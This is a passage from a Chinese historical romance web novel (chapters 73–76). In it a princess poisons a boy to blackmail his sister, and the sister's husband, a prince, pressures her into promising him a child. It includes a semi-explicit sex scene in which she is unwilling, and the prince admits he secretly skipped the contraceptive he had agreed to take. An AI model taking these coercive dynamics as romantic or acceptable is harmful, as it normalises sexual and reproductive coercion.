元衡倒也还是一副好脾气,又道:“虞氏同皇后交好,孤想着若是珝儿学成,回洛阳终归不妥,不如还是让他留在孤的身边,到时候孤为他谋个官职,皎皎看如何?” 岑璠知道他这么做的用意,可就珝儿这个性子,能留在他身边做事,总要比去其他地方要好许多… 她低眼,平静的像一汪湖水,只有那羽似的眼睫微微颤抖,“多谢殿下。” * 隔日,岑璠便是让人给珝儿买来了书单上所列的书。 珝儿看后起初有些惊讶,后来便是整个背都弯了,像是一只蔫了的韭菜,“阿姊不是说不读书,让我习武吗?怎么又拿来书了…” 岑璠淡淡看着他,似有些不通情理,“习武总也要读些书,这些书比起走仕途需要读的书,已经简单了许多,若一点书不读,光靠蛮力,那是莽夫。” 珝儿眉头皱得像盘曲的树根,“阿姊…” 岑璠打断他接下来的话,“这些书你必须要读。” 珝儿闷声“哦”了一声,看着那些书,头隐隐有些疼,仍是一副愁眉苦脸。 他不免又想到娄氏公子说的,他明明可以有一个可以靠自己认识公主的机会,何必吃这些苦 他想去碰碰运气,万一是真的呢? 珝儿扭着身子,“阿姊,能不能年后再学” 岑璠态度冷硬,无情地戳穿了他的心思:“读书不需要准备什么,若是想读现在就能读,说白了你就是好吃懒做,什么都不想学。” 珝儿倒也不想认下这好吃懒做的名头,“倒也不是不想学” 他抬起眼皮,道:“阿姊,这要学的话,起码要有件合身的衣裳吧?” 岑璠头未低,只低眼扫了一下他的衣裳,道:“哪里不合身?” 她看着倒是并无异样。 珝儿抬起衣袖,指了指腋下,“这里太紧了,勒得难受,读书总不能穿着不合身的衣裳坐一整日,更何况上元节也快到了,这些衣裳都太素静了,总不能到上元节还穿这些吧” 岑璠这些衣裳,是按照她走时珝儿的身量做长了些,现在看来,他是长高了些,却也长得更壮实了 她不曾花太多时间陪伴他,确实不知道他要穿什么样的衣裳。 岑璠微叹了口气,退让一步,“也罢,我明日同你一起去挑几身衣裳。” 珝儿便又是一副不耐烦的表情,声音上扬,“阿姊!我都十四了,能自己去挑衣裳。” 岑璠抿唇,见他这般抵触,也怕自己管的太多太严,遭他厌烦。 她上下打量了他几眼,道:“我给你买衣裳的钱,你自己去买。” 她怕他又生别的心思,严肃地补充道:“只是给你买衣裳的钱,想买其他东西就别想了。” 这话合了珝儿的心意,他并未再闹什么,转而却是又想到,那娄三公子说公主会出现的日子,分明是后一日 可若是他自己指个日子非要去,依照他阿姊疑神疑鬼的态度,肯定是要改口跟着他。 珝儿眼睛一转,便瞬间又是有了主意,“阿姊,明天是初五,要送五穷,阿爹他们是要上职了,可铺子的掌柜会开门吗” 岑璠只觉他是在找借口,能拖一日不读书便是一日。 她胸口起伏,厉声道:“明日不去,那便后一日去,总之上元节之前你必须给阿姊把书翻开。” 珝儿心里直跳,却是低着头,装作委屈,“知道了。” 岑璠睨了他一眼,怒火未消,“你在洛阳说的话,做的事,阿姊也听说了,你顺便去云珮阁同掌柜道个歉,听到了吗?” 第73章 第七十三章一直都想,王妃难道不知道…… 听到云珮阁,珝儿其实还是有些犯怵。 他还记得当时莫名其妙出现的侍卫,拿着他阿姊的令牌,拎住他的后襟,二话不说让他道歉的样子。 他道:“阿姊,我已经道过歉了,当时还被你身边的人打了来着…” 珝儿此话本是想告状,谁知岑璠并不在意他那点皮外伤,“打你就是为了让你长记性,云珮阁的掌柜与咱们非亲非故,肯帮阿姊保管银两,本就是咱们欠别人人情,你恶语相向,如今还觉得无伤大雅,合该去再去道歉一次。” * 初五那日,洛阳下了一场雪,年后的第一场早朝过后,王府还有人来拜会。 元衡带她在暖阁中拜会王氏一族,客中有并未有带着妻眷来拜访的,可她始终兴致缺缺。 后来杨氏来了人,便再未让她相见。 送走杨氏的人后,他回到殿内,珝儿正在他们房内,手握一卷书,同岑璠磕磕绊绊背着什么。 元衡仔细听来,竟是一则论语。 读书多年,十四岁,竟是小儿背的论语能背的如此磕绊。 果然,他背完后,岑璠便扶起额头,说了他几句。 他走近,姐弟二人便注意到,珝儿竟是将书放下,立刻站起身。 元衡身形本就高大笔挺,这样一个矮瓜苗缩在面前,便是低眼一扫。 珝儿弱声道:“姐夫……” 之前若是珝儿这般叫他,或许他还会暗中欣喜一二,帮衬他劝两句。 可她在这个弟弟身上花了太多心思,现在还堂而皇之进了他和她二人的住所。 他不喜欢。 元衡冷声道:“出去背。” 珝儿抬起头,只对视一眼,便是拿上那本书出去了。 岑璠仍然扶着额,眉头紧皱,连看都不看他一眼, 元衡走上前,道:“不想这些,莫要气坏了身子。” 岑璠只睁开一只眼,从缝隙中瞥到他那张脸,便是头更疼了些。 她似是累极,问声中都带有叹息,“不想这些又能想什么呢?” 她的阿弟这些年读书,连论语都学的一知半解,该怎么办… 元衡坐在她身后,劲壮有力的臂将她圈住,埋在她颈间,“孤不是说过,皎皎可以自己生一个,这样就能想想,怎么教导好咱们自己的孩子。” 他多日提及此事,岑璠早已心生警惕,“殿下最近总提这些事,莫不是真的想要孩子了?” 元衡倒也不避讳,手又放在她的小腹上,“一直都想,王妃难道不知道吗?” 此人脸皮之厚,岑璠无话可说。 她知道妇人生子都会痛,她在梦里也梦到过那种全身上下都要撕裂的感觉… 她握住他的手腕,轻轻掰开,对于这件事毫不退让,甚至带有些不耐烦,“我怕生,也不想生,所以殿下晚上要切记喝药。” 元衡还是一副好脾气,眼尾带有笑意。 他知道她只是嘴上说说罢了。 从她肚子里出来的,她定会同他耐心教导,绝对不会忍心不管。 * 翌日,珝儿去大市买衣裳,只喜鹊一个人陪着。 元衡一个人进宫,岑璠在府中还是不放心。 倒不是担心珝儿会买别的,而是怕他又去见什么乱七八糟的人。 她这些时日算是认清了这个弟弟,总爱耍小聪明,她说的道理从来不听,却对那些不用费力的旁门左道深信不疑。 或许是因为她的父亲将这些旁门左道用到了极致,他就以为只要攀附上世家,才是正道。 他身边有太多不好的人。 岑璠在房内独坐许久,只穿了件素净的衣裳,打算出府。 她也该出去,起码要给那云珮阁的掌柜亲自道个歉。 从很久之前,元衡就不再限制她的行动。 岑璠出来时也未声张,只叫上了墨群和槿儿。 只是快到云珮阁时,恰好看到了珝儿。 年后大市的铺子大多刚开门,很是热闹,人群熙熙攘攘, 珝儿身后跟着喜鹊,两人似都没注意到她,喜鹊步子时走时停,他似是不耐烦,甩开步子往铺子里去。 岑璠觉得事有蹊跷,抿紧了唇,快步朝铺子而去。 喜鹊站在铺子前,急得直跺脚,似是回过身要去找人,却迎面撞见了岑璠。 岑璠问道:“他要去做什么?” 那声音不似之前那般犀利质问,像是在压抑,又像是失望。 喜鹊道:“小公子刚才在街上遇到一个人,那人说有人在铺子里等着小公子,小公子便二话不说要去,奴婢觉着不妥,想要跟上,小公子却要塞给奴婢银两…” 岑璠听后,脸色愈发压抑,“你可认得那人是谁?前些日可在府中见过?” 喜鹊摇头,“并未见过。” 岑璠收起唇,疾步向铺子而去。 那掌柜并不在铺子,墨群找了一圈,最后目光锁向铺 子的二层。 岑璠提起裙摆上了那旋阶,脚步声算得上响,。 她始终抬头盯着楼上,槿儿叮嘱了好几句,要她别摔着,岑璠都恍若未闻。 云珮阁不过是间普通的成衣铺,料子也不算时兴,花样也少,若不是她与这家铺子的掌柜是故交,也断不会来这家铺子看衣裳。 二楼常作于量裁试衣,初五买衣裳的人并不算多;只有两个隔间的门是闭合的。 岑璠犹豫片刻,却是冷声下令,让墨群和槿儿去分别敲门。 一扇门打开,那人斥骂几句,岑璠并不在意。 她将目光盯向了槿儿未敲开的门。 岑璠亲自去敲了好几下门,没有人应,便是将铺子里的小厮请了过来, 那小厮似也是为难,不肯开门,岑璠咬住牙,唇绷得紧,未点胭脂的唇近乎没有血色。 “把门踹开。”岑璠下令。 小厮有一瞬的惊讶,墨群却毫不犹豫上前要去踹门。 刚闹出两下动静,房内的门打开了。 不同于普通的隔间,这处被开辟出来,像是雅阁,房内有窗户,屏风,一应俱全,屏风旁还有一盏精致的莲形铜烛台。 开门的像是侍从,手里拿着刀,而那屏风后有人影浮动。 岑璠毫不犹豫上前,墨群不放心她,扫了一眼门口的侍卫,紧跟其后。 绕过屏风,却是看到了一张熟悉的面容。 那五公主去晋阳时,她并未见到,现下确实许久不见。 上次在晋阳,晋王好像同她说过,五公主是为婚事去找他。 比起那时见面,这位五公主梳了妇人发髻,或许是因为有了自己的府邸,妆容穿着也比过去更端庄华贵了些,掩起了些天真与稚嫩。 倒是更显现出本性。 岑璠又低眼一扫,便看到倒在她身旁的珝儿。 她脸色煞白,不可思议地看着元斓,问道:“你要做什么?” 元斓却还是那副无辜的神态,“这位小公子托人说,想要结识我,我看在嫂嫂的面子上过来见一面,没想到…” 她斜睨了眼珝儿,掩面一笑,“只是不胜酒力罢了。” 岑璠当然不信,她也是想到了前几日娄氏的事,想通了其中因果。 她语气陡然凌然许多,全然没了一年前被下药时的害怕,质问道:“你究竟要做什么?” 元斓看了看两侧的人,道:“嫂嫂的这位小婢女我看着可喜,可这位侍卫二话不说便踹门,还是先让他和阿诀出去吧。” 说罢,那叫阿诀的侍卫便行礼离开。 墨群并未离去,岑璠却是道:“你也先下去。” 两人走后,元斓倒也没再同她兜圈子,轻轻往桌案上一依,轻佻地一叹,“本来想着先请来嫂嫂的胞弟,再去请嫂嫂的,谁知道嫂嫂竟将胞弟看得这样紧,自己先来了。” 岑璠听得出,这哪里是要去请她,分明是要拿珝儿来威胁她…… “你对他做了什么?”她问道。 元斓道:“不过是药性烈了些,不过嫂嫂莫要担心,我只要嫂嫂答应两件事,便会保他无恙。” “若我不答应呢?” 元斓愣了一瞬,却是绽开笑容,“这药虽不至于让人立刻死了,可这几个月里都需要服用解药,若是不小心断了,那就不好了。” 岑璠手攥的紧,槿儿闻言也大惊,上前一步,却是被她拦了下来。 她问道:“你想如何?” 元斓轻轻一笑,抬起袖,不紧不慢自己饮了口酒,“这第一件事,我想问问郑氏那位姑娘的下落。” 她说这番话时,袖子已经放下,脸上的笑容有所收敛,看不出喜怒,“我知道她没死,是皇兄救的她,嫂嫂和郑姑娘要好,我想知道她在哪里。” 岑璠心怀戒心,也不想出卖两个友人,问道:你想知道这个做什么?” “只是想知道罢了。”元斓只平静地说,似看得出她不愿透露,无声笑了笑,“也罢,嫂嫂还有一个月可以考虑。” 元斓说罢抬头,“第二件事,我想托嫂嫂去虞氏府上打听件事。” 岑璠冷笑一声,又婉拒道:“我同虞氏现在的关系,还是拜公主所赐,公主不知道吗? 元斓并没有反驳,也似猜到她会这么说,“不需要嫂嫂亲自去虞家,这不是还有小公子吗?” 岑璠接道:“那就更不可能了,公主也能看出,珝儿他并不聪明…” 她说着,眼神有些黯淡,却还是承认,“况且珝儿和家父关系甚笃,他不会帮我打探虞氏的消息。” 元斓仍是淡然,“那也无妨,嫂嫂身旁不是还有亲信,派一两个,找些理由和他回府,也是可以的。” 她看了一眼,“本宫觉得,嫂嫂身边这位姑娘就不错。” 不知为何,听到她提到槿儿,岑璠怔了一瞬。 槿儿…… 她下意识回头看了一眼,并未答应,“你想要我做什么?” 元斓倒是没有再试探,同她说道:“咱们那位皇后除了貌美,当贵妃之时还以才情闻名,当年凭着一首西洲曲,走上了皇后的宝座,听说参与编撰那首西洲曲的五人,其中还有令尊。令尊被黄家举荐的时候,也只是做了太乐署下的乐师,可是凭借这首曲子才得以入仕的。” 她见岑璠不说话,又说道:“我也不需要嫂嫂做太多,只是想让嫂嫂试一试,能不能从虞家拿来令尊当乐师时编写的乐谱。” 岑璠并未答应,却也没有立刻就走,问道:“你要乐谱做什么?” “等拿到了,嫂嫂就知道了。”元斓有所隐瞒,却似胸有成竹,“说来这件事不也是嫂嫂一直想做的?本宫知道,嫂嫂与云珮阁的掌柜关系匪浅,便是也提前和掌柜打了个照面,嫂嫂既是痛恨虞氏,咱们一起联手,也不算是嫂嫂吃亏。” 岑璠闻言,便多看了她几眼,竟隐隐露出讥讽。 云珮阁的事,思来想去,除了她自己知道,也只有一个人…… 那时她不愿意嫁给他,他便是用这件事逼迫她。 如今将这件事翻出来威胁她的,是他的妹妹。 这兄妹二人,果然是十足十的像。 岑璠笑了笑,道:“说来我也该叫公主一声皇妹。” “皇妹如此行事,若是殿下知道了,怕是不妥。” 元斓不喜欢别人拿她皇兄来压她,那萧昀在她这里受了委屈,叫嚷两声也就罢了,她岑璠凭什么? 须臾后,她却是又冷静下来,低头看了看珝儿,游说道:“嫂嫂可以考虑几日,皇妹我倒是不急,若是能拿到乐谱,皇妹可以和嫂嫂一起报仇,这样嫂嫂也可以早日不受皇兄牵制,不用再借什么香囊想着法子避孕,岂不是皆大欢喜。” 此话说完,岑璠倒是当真沉默了许久。 连槿儿都迟疑起来,微微上前,“姑娘…” 听到槿儿的声音,岑璠却又瞬间清醒了许多。 她抓住槿儿的腕,转头示意她不要再多说什么。 槿儿便是闭上了嘴,岑璠回过头去,“公主说的,我——” 后面的话还未说完,门便是被踢开了。 那人似是刚从宫中出来,一身宽大的长袍上绣有瑞鹤祥云,金线镶边,头戴一顶金冠,满身威严。 元斓根本没想过他回来,对上那双眼时本能地站起来,刚才的那份自如全然消散,花容失色,“皇兄…” 元衡掀眼看向元斓,那眼中似蕴着风雨,随时都有可能凝结成冰。 即使站在远处,也几乎能听见那掩盖在怒火下的喘息。 他声音似没有情绪,替她答道:“你说的,她不会答应,死了这条心吧。” 第74章 第七十四章不论是喜怒哀乐,都该是属…… 元斓眼神躲闪,声音比起刚才,仿佛抽去了所有的底气,“皇兄听我说,妹妹不过是想让嫂嫂” 元衡显然不会听她解释,堵住她的话口,“你再多说一个字,本王即刻将你送进宫。” 那声音不近人情,不像再说假话,元斓也不敢再试探。 可她是他的亲妹妹,他们的父皇视他们为孽障,她自幼在皇后手上讨活路,伏低做 小,差点被宫里的大太监欺辱,皇帝都不闻不问。 他本该护着她,现在却为了一个才认识不过一年的人,要将她送到父皇手上 她的眼神逐渐灰暗,可转眼间却又闪过犀利。 最后那目光落在了岑璠的身上,像是一只随时会扑上来的毒蛇。 岑璠静静看着她的变化,对上那针锋相对的目光,丝毫不畏惧。 元衡察觉到她的目光,一双薄唇紧抿,面色更冷硬了些。 他伸出手,紧握住她纤细的手腕,不容拒绝地将她拽到身后。 他拽得用力,毫无顾惜,岑璠连着往后踉跄了几步,他松开手时,手腕上平白无故多出了五指红印。 岑璠看向他,比起刚才而言,她面临的处境分明好了不少,可胸口却觉得愈发沉闷,像是被堵上了一颗大石。 元衡并未回头看她,看向倒在坐榻上的珝儿,质问道:“你做了什么?” 元斓不敢同他对视,想到他如此偏袒,心里却还是堵着一口气,“皇兄不都看到了,还问皇妹做什么?” 他毫不留情面,“解药给他,别让本王说第二遍。” 元斓眼角微微泛红,睫上似沾有一滴泪,扫过自己的皇兄,还有她该称一声嫂嫂的人。 须臾之后,她收起了那点泪意,偏开头,从袖中掏出一只小瓷瓶。 她似并不想亲自给珝儿喂药,坐下后将解药放在了桌上,只字未言,手缩回袖中。 元衡将那瓶药交到墨群手里,目光回到元斓脸上,似在审视。 元斓在宫里摸爬滚打数年,本也不是轻信于人的性子,自也知道他在想什么,“怎么?皇兄还在怀疑?” 元衡未答,只让墨群先喂珝儿服下。 墨群走来时,元斓淡淡看了一眼,目光微垂。 她忽地无声一笑,唇弯开一个弧度,似是不解,还有些无奈,“皇兄不是在宫中,怎会来这里了?” 元衡言简意赅,“去宫中找皇妹,姓萧的那厮说你和你养的门客出了宫,孤找来人问,便问到了。” 元斓听他说得风轻云淡,眼睛眯起,终也只是淡然一笑。 她敢在他身边安排人,他只要想,在她自然也能安排进去,而且会更多。 可若不是她这嫂嫂,他也不该来的这么快。 这王府的暗卫密布,或许只是一个手势,一声响,便是能递出信号… 有这么多暗卫在,是为了防止自己的王妃逃跑吗? 元斓又多看了眼,却也不敢在这个节骨眼戳穿,只暗讽道:“皇兄还真是将嫂嫂护得紧。” 元衡不想让身后的人听出什么别的意味,不着痕迹略过她说的话。 趴在地上的珝儿还未转醒,元衡分过神去,看向自己的王妃,问道:“她都同你说了什么?” 岑璠未隐瞒,将元斓说的事全盘托出,似意有所指,添了一句,“公主说能替我报仇,比殿下说的从长计议更快些。” 元衡毫不犹豫,道:“她那是在骗你,想害你。” 他说这番话时心底并不踏实。 被细绳缠住的纸鸢,线虽然他握在手里,可一阵风便能左右摇摆,随时都有可能挣脱。 他旁若无人上前两步,只一拳之隔,“孤答应帮你报仇,你只能相信孤,明白吗?” 岑璠抬起头看他,一双浅粉色的唇轻启,也当着这些人的面问了出来,“殿下答应的报仇,可是也要条件?” 那目光闪动,深邃似漩涡,要将人的目光吸进去,元衡只得避开她的目光。 他还没有回答,珝儿便醒了过来,睁开眼睛,刚好对上了元斓蔑然的眼睛。 珝儿霎时间坐起身来,手脚并用挪开几步,避如蛇蝎。 元斓没什么反应,静声端坐在那里,居高临下,还朝他弯起一个笑,像是蔷薇上的刺一样,美而伤人。 珝儿看到这个笑容,还没缓和的脸色瞬间变得透明。 元衡的声音带有森寒,“滚过来。” 珝儿这才发现房里还有其他人,声调上扬,“姐夫。” 他慌不择路,指着元斓,吞吞吐吐道:“她、公主她…” 元衡冷笑,声音毫无波澜,“她给你下毒,不给解药,你就要死了。” 珝儿脑中嗡嗡作响,想不到其他的,只有那句“快死了”萦绕在耳边。 他喃喃重复了一句,眼泪竟是夺眶而出。 元斓嗤之以鼻,嫌弃至极,直骂道:“真是个蠢货。” 珝儿恍若未闻,一直断断续续重复:“我快死了…” 岑璠看不下去走上前去,唇一抿,抬起袖,手心实实在在扇了一掌。 珝儿的声音便是停下,他默不吱声,脸上如火烧,却是清醒了许多。 他反应过来,眼神恳切,“阿姊,我不会死对吗?阿姊会救我对不对?” 珝儿颤颤巍巍站起来,想再说什么,可岑璠又是一巴掌,比刚才还要重一些。 她眼眶红润,想强忍住情绪,却还是低下了头,抓住他的肩膀,低声啜泣,“我说的话,你为什么总是不听…” 她捶打他的肩膀,拳拳结实,句句埋怨中透露着绝望无力。 元衡不忍见她如此,将她拉开,揽住她的腰,不容她推开。 他看向珝儿,眼如冰刃,刺骨的寒意扑面而来,“你不会死,但你必须给你阿姊道歉。” 珝儿倒也是没再犟,断断续续说了好几句“对不起”。 怀中的人仍在抽颤,元衡面对如此乱糟场景,也一时觉得头疼不已。 他还从未见过她这般撕心裂肺地哭过,就为了这么个一事无成,还总是对她视而不见的废物… 上辈子的他对她也如此恶劣,她也这般死心塌地。 难不成她便是喜欢别人这么对她? 元衡转眼间就否认,可又不禁想到他刚才来时听到的话。 若不是他闯进来阻止,她会答应元斓吗? 他不敢细想,只能又看向怀里的人。 她似是已经止住了眼泪,只静静看着珝儿道歉,可那面色似枯木般憔悴。 眼神中的暗淡无光,他只在上一世见过。 那时她要与他和离,也是这样看着他,消沉的似被熄灭的火焰,看他的瞳中再无光彩。 现在那目光比上一世还要悲戚。 他不喜欢她这样看着别人,即使对面是她的弟弟。 不论是喜怒哀乐,都该是属于他的,就算是那样悲戚的目光,那也都是因为他。 都该是他的才是… 元衡心中郁结难舒,眉头越皱越紧,无法自己隐忍,便是手臂用力晃了一下她。 岑璠回神片刻,抬头看他一眼,而后便又是低下目光。 一阵钝痛自心底席卷而来。 元衡就是不明白,他分明对她这样好,她为何会对他视而不见呢? 他不愿再这样下去,想要立刻阻止她将这些情绪给予给他人,冷眼一扫阁楼内的人。 元斓被那冷眼划过,身子一颤。 元衡厉声道:“滚回你的公主府,若再踏出一步,本王不会再客气。” 说罢,他也未等元斓回答,揽着她离开。 珝儿紧随其后,手背不停抹眼泪,一张脸哭得红扑扑的。 元衡的脸却越来越冷,一句话未说。 喜鹊等在门外,墨群和她站在一起,等到铺子里的人出来,都行了一礼。 墨群抬起头,喜鹊头却始终微低。 元衡余光 扫向二人,冷漠道:“你可知罪?” 墨群头仍然抬着,这话显然不是在同他说。 喜鹊自知骗不过,扑通一声跪地,全身都在发抖,“殿下赎罪。” 岑璠眼中闪过一丝诧异,可须臾后却又觉得,在这王府,不论是背叛还是欺瞒,都不是什么怪事。 亲兄妹尚且如此,何况是喜鹊呢? 元衡道:“奴婢害主,既然如此喜欢公主府,那打死后,便将她送去公主府上吧。” 喜鹊睁大眼摇头,转头看向岑璠,“王妃娘娘饶命,奴婢没有想害小公子,公主只说让奴婢确保小公子来见她,奴婢的家里人在公主手上,不得不这么做啊。” 岑璠却没有再像刚来王府时那般,为她据理力争。 她累极,一摇一晃坐上了车。 元衡一言不发坐在她一旁,心中似还有怒未舒缓。 回到王府时,元衡下令,将珝儿关了起来。 这一次岑璠并未阻拦。 她似是怅然,埋头向前走,回到寝殿内,什么也没有做,站立在窗边,一句话也不说。 诺大的殿内静谧空旷,窗棂间透过冬日微光,照在她的脸上,将她的脸衬得雪白。 元衡走到她身后,也迎着那光影,与她的影子重合。 乍一看去,仿佛暖阳辐照,一派温馨,可周遭却雪虐风饕。 岑璠先开了口,“公主出现在那家铺子并非巧合,她知道我和虞氏的事。” 元衡道:“你放心,有本王在,她不会说出去。” 岑璠未回应,她一直望着窗外,忽地又开口,“这件事我没有同任何人说起,殿下应当也没有吧?” 元衡怔了一下,可是转瞬间却是心如刀绞。 她在试探,不信他,什么事都要怀疑他! 他走近了一步,反问她,“王妃是怀疑孤?” 那声音比起方才,冷中带有刻薄。 岑璠违心却也敷衍,回答道:“没有。” 元衡轻笑一声,那呼出的气似都是冷的,比起刚才,声音还多了些刻薄,“孤还没问王妃,倘若孤当时不在,王妃打算如何回答?” 第75章 第七十五章(文案)殿下不觉得自己可…… 岑璠刚才是犹豫过一瞬,她也能想明白,那五公主目的不纯。 若真的只是为了扳倒皇后,找晋王比找她要更稳妥,何必用如此手段来找她 那元斓是要让她身边的人去冒险,槿儿也是她的亲人,她不能让槿儿为她铤而走险 她还清晰地记得,梦中出现过的那双眼睛。 岑璠话音顿了片刻,肯定道:“我不会答应她。” 元衡冷笑一声,“是吗?” 岑璠对他的态度并不奇怪,她淡然道:“殿下若是不信便算了。” 她越是这般,元衡便越是恼怒,他拽住她的手臂,逼她转过身来,直视他的目光,“王妃当真没想过,让她替你报仇?” 他说这话,岑璠倒是觉得好笑,“殿下和五公主所做皆是一件事,她肯替我报仇,为何我不能想?” 元衡气息不稳,可还是坚持说道:“她是在骗你。” “殿下不也是在骗我吗?”岑璠抿了抿唇,还是说出了久久未说出的心里话,“殿下当初说,只要嫁予你便替我报仇,现在看来,不也是有别的条件吗?” 面对她的一番质问,元衡却并未感到心虚,他看着她,平静地如渊灏湖水。 他忽然一笑,锋利的眉头上扬,收起伪装,承认道:“是有,那又如何?” 岑璠也不惊讶,“殿下的条件是什么呢?” 元衡言简意赅:“当然是给孤生个孩子。” 岑璠蓦地笑了,她不懂,他为何一定要逼她生个孩子呢? 元衡却是紧接着回答了她的不解,“生个孩子,王妃的心能更定些。” 岑璠眼睛终还是红了,“殿下可还记得我说过什么?” “自然记得。”元衡将她揽入怀中,揩掉她眼角的泪,声音低沉地像深渊里的回响,“可王妃也要知道,元斓她并非在骗人,黄珝中的毒,需要连续喝一个月的解药才能解,何况她已经盯上了你们,便不会轻易放过。” 岑璠知道,他向来不择手段,迟早有一日,他会用珝儿来威胁她。 竟是这么快… 她悲从中来,“殿下的意思是,如果我们想活着,还是要寻求殿下的庇护,对吗?” 他狠下心来,点头,“王妃还应该知道的是,孤认定一件事,从来没有反悔一说。” “王妃既是答应嫁与孤,便是生同衾,死同穴,将来本王不管是登临帝座还是下地狱,都会带上王妃。” 后路似乎都被这句话断了,岑璠真的不明白,她不明白这样一个冷血的人,为何一定要强留她在身边呢? 她嫁给他本就是为了利益,他当初也心知肚明,他为何总要奢望更多,一定让她心甘情愿地待在王府一辈子呢? 她眼底红润,一滴泪顺着脸庞划过,泪眼潸然。 她不知道为何自己会哭,或许是前路茫然,或许是挣扎无果,可无论如何,她似是都难逃这些人的掌控。 元衡心头一紧,可却还是硬下心,反常的耐心。 他并未勒令她不许哭,一点点拭去她脸上的泪,执意让她亲口说出她不会逃,断走她最后一点念想。 他轻声询问,“皎皎可愿意?” 岑璠仰头看向他,问道:“倘若妾答应,殿下可否能保珝儿还有槿儿他们一生安稳” 这是她入王府以来,第一次以“妾”这样的称谓自己。 可元衡顾不得在意细想这些,他毫不迟疑,承诺道:“只要孤在一日,便不会让王妃身边任何一个人出事,倘若有一日孤要死,也会尽可能让王妃活着。” 这番话说的坚决,若不是他们,若不是这般生硬的语气,倒真似那海誓山盟。 岑璠无声笑了笑,沉寂了很久。 元衡就站在她面前,等着她亲口说出自己想听的话。 “妾答应殿下。” 应答声一落,周遭的冷意仿佛霎时间收起,他心落下,她心沉寂。 他嘴角扬起,眉眼间都是那胜者的笑意,带着难掩的激动,“皎皎放心,孤不会让你生太多,孤也会心疼…” “咱们有一个就足够了,你才十七,等到你将来想通了,喜欢孩子,再生一个便好” 岑璠越听越觉得悲哀,他的气息裹挟,近乎让她窒息,却无法挣脱。 那气息越压越近,粗重的呼吸没有任何规律,似猛兽嗅着近在咫尺的猎物,冰凉的薄唇噙住她的耳垂,像是在吸吮,又好像是在舔舐,耳垂到脖颈麻了一片。 她想要躲开,不想就这么与他欢好一场,好像是真的就这样妥协认命了一般。 她扭动身子躲,他却是步步紧逼,揽住她踉跄着往后退,倒在榻上。 他紧紧抱着她,不似刚才那般冷冰,话声轻柔而又急切,“皎皎的亲人也不只有珝儿一个,咱们其实也可以有个家。” 岑璠恍若未闻,由他抱着,看着匍匐在她胸口的男人,没有挣扎。 他轻轻吻上去,“等咱们有了自己的孩子,孤便什么都听你的” 泪水从眼角滴到锦锻上,悲戚自心中而来,她的腰带被熟稔地揭开,圆润的肩头暴露。 再压上来时,岑璠轻轻在他耳畔说了句,“殿下不觉得自己可怜吗?” 她能感觉到,覆她身上的身躯骤然僵住。 他似是起来了些,一张俊美的面容欲色未消,高挺的鼻梁上不知道是沾着泪水还是汗水,那眼中满是难以置信。 他直愣愣地盯着她,岑璠眼睛盯着床幔,似有些空洞无神。 近在咫尺,却没有分毫的对视。 元衡问道:“你是觉得孤很可怜,是吗?” 那声音如同锦帛被扯碎的声音,沙哑的厉害。 岑璠缓缓回过目光,看他时似有怜悯,吐字清晰,“是,殿下很可怜。” 一声落下,呼吸声似都屏住了。 那双杏眼透着彻骨的悲哀,让元衡恍然想起上一世,她在床榻上流泪时的目光。 很久很久之前,他好像也问过这样一句,“不觉得自己可怜吗?” 元衡不知道她上一世听到这样的话是什么感受,他只知道此刻,在他自己听来,那是一种撕心裂肺的感觉,就好像冰锥往胸口刺去。 他宁愿她憎恶他,也不想她同情怜悯,替这样卑微的 自己感到悲哀: 上一世他在看到她这样哭便走了。 他确实不愿在床榻上逼迫,这样显得他太过低贱。 可现在他还要走吗? 这是他好不容易才争来的… 他痛苦挣扎,想要阻止自己走入肮脏的泥沼,身体不由自主做出了反应,欺身而上,如同一条蟒,缠得越来越紧。 床榻上静了很久,他侧头,沉声说了句,“很快就不可怜了。” 岑璠闭上了眼,沉静的可怕。 话音落下,他便又动作起来,极尽温柔,她没有再挣扎,只是在感到不适时微微躲开一瞬。 只有再嵌入时,他狠了几分,似是在宣泄自己的不满,在用自己的存在割断她的反抗。 岑璠脸上浮了一层冷汗,她死死抓住床榻上的锦料,却是被人钳住腕。 他将她的腕搭到腰上,道:“抱着孤。” 半垂的帐幔翻扬,让人难以承受。 她的手臂无力,反复垂下,他便不厌其烦一遍遍搭上去。 暴雨骤歇,如同河岸决堤,洪水倾泻而下。 殿内烧有银炭,暖烘烘的,两人身上都起了一层薄汗,他却是怕她冷着,拽过滑落在地上的那件衣裳,裹住她的肩头,又裹上了被堆在一角的被子。 温存没有似平常一般很快消散,他将她严严实实裹住,臂圈住她。 至于刚才她说的话,就似乎从未听到过一样。 他怎么可能可怜呢? 她就在他怀里,刚刚才同他承诺要给他生个孩子,一辈子都会陪着他。 她为她的亲人想的那般周全,有那样纯洁炽热的情意。 他们还有几十年,迟早有一日,他和他们的孩子都会分到她那颗真心,他有什么可怜的? 岑璠静静躺在那里,他动作未歇,不知道他会不会来第二次。 他方才同她一起回来,这是在明目张胆地告诉自己,他说话算话,不打算再喝那避子的药。 一瞬间,她又想明白了一些事,“殿下是不是前几日也没有喝药?” 她问的平淡,并没有看他,那似乎也并非是个问句。 元衡睁开眼,只想了片刻,便坦然承认,“是。” 岑璠并未骂他无耻,只又平静地问:“那公主,殿下准备怎么处置?” “孤会派人看住她,让她好好待在公主府,不会再让她出去再随意见任何人。” 这话表面是将公主软禁了起来,可岑璠也能听得出,他也是在断她的后路,告诉她去找公主这条路行不通。 岑璠抓紧裹在身上的衾被,轻声道:“妾知晓了,多谢殿下。” 元衡这才分过神注意她的称呼。 他听不惯,皱眉道:“在孤面前,不必如此称呼自己。” 岑璠却道:“可这王府的王妃,本该自称为‘妾’才是。 元衡知道她是在同自己赌气,冷嘲热讽,可他却不知该如何反驳。 最终他也并没有阻止。 她喜欢这么称呼,那便随她去,正好能磨一磨她的性子,时刻提醒她晋王妃这层身份。 第76章 第七十六章珝儿身上的玉佩 元衡当做没听出她话中的意思,道:“你愿意这样称呼也好,王府的规矩也总该记些。” 他说完这句话,明显能感觉到她深吸了一口气,似是在隐忍,身子往前弓了弓。 元衡也觉察到自己的态度似是恶劣了些。 她总是不肯顺从他,每次都要惹他动怒后,她才肯向他服软低头。 想到已经得她许诺,元衡便是收敛了些脾气,同她解释起先前的事,“你也知道元斓她并非善类,她这么做,不过是害怕有朝一日诸事败露,想要找你身边的人当替死鬼罢了。” “她厌恶你,说不定就算无事发生,她也会过河拆桥,你可明白?” 她格外沉静,“妾身明白。” 元衡还是不喜欢听这样的称呼。 上一世的她便总是这样称自己,安于本分做他的侧妃,虽是听话顺从,可也失去了一个人身上该有的灵性。 他的心又软了几分,似也害怕再这么逼她,会让她心生郁结,伤了身子。 